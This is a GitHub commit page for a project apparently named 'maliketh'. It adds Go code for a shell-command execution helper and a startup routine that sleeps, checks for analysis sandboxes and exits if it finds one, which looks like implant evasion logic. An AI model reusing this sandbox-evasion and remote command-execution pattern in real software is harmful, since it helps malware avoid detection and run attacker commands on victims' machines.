-
Notifications
You must be signed in to change notification settings - Fork 5
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge branch 'master' of github.com:cbrnrd/maliketh
* 'master' of github.com:cbrnrd/maliketh: Update README for makefile changes Fix darwin build and command execution Makefile improvements and have a real release/debug compile target
- Loading branch information
Showing
9 changed files
with
164 additions
and
33 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,10 @@ | ||
package command | ||
|
||
import "os/exec" | ||
|
||
func cmdOut(command string) (string, error) { | ||
cmd := exec.Command("bash", "-c", command) | ||
output, err := cmd.CombinedOutput() | ||
out := string(output) | ||
return out, err | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,5 @@ | ||
package startup | ||
|
||
func DoStartup() { | ||
doStartup() | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,14 @@ | ||
//go:build debug | ||
// +build debug | ||
|
||
// Use this file if in debug mode (ie if `-tags debug` is set at in `go build`) | ||
|
||
package startup | ||
|
||
import "maliketh/pkg/sandbox" | ||
|
||
func doStartup() { | ||
|
||
// Just print the sandbox status | ||
sandbox.SandboxAll() | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,23 @@ | ||
//go:build !debug | ||
// +build !debug | ||
|
||
// Use this file if not in debug mode | ||
|
||
package startup | ||
|
||
import ( | ||
"maliketh/pkg/config" | ||
"maliketh/pkg/sandbox" | ||
"os" | ||
) | ||
|
||
func doStartup() { | ||
|
||
// Do our initial sleep, exiting if we're being sleep skipped | ||
sandbox.SleepNExitIfSandboxed(config.INITIAL_SLEEP) | ||
|
||
if sandbox.SandboxAll() { | ||
os.Exit(0) | ||
} | ||
|
||
} |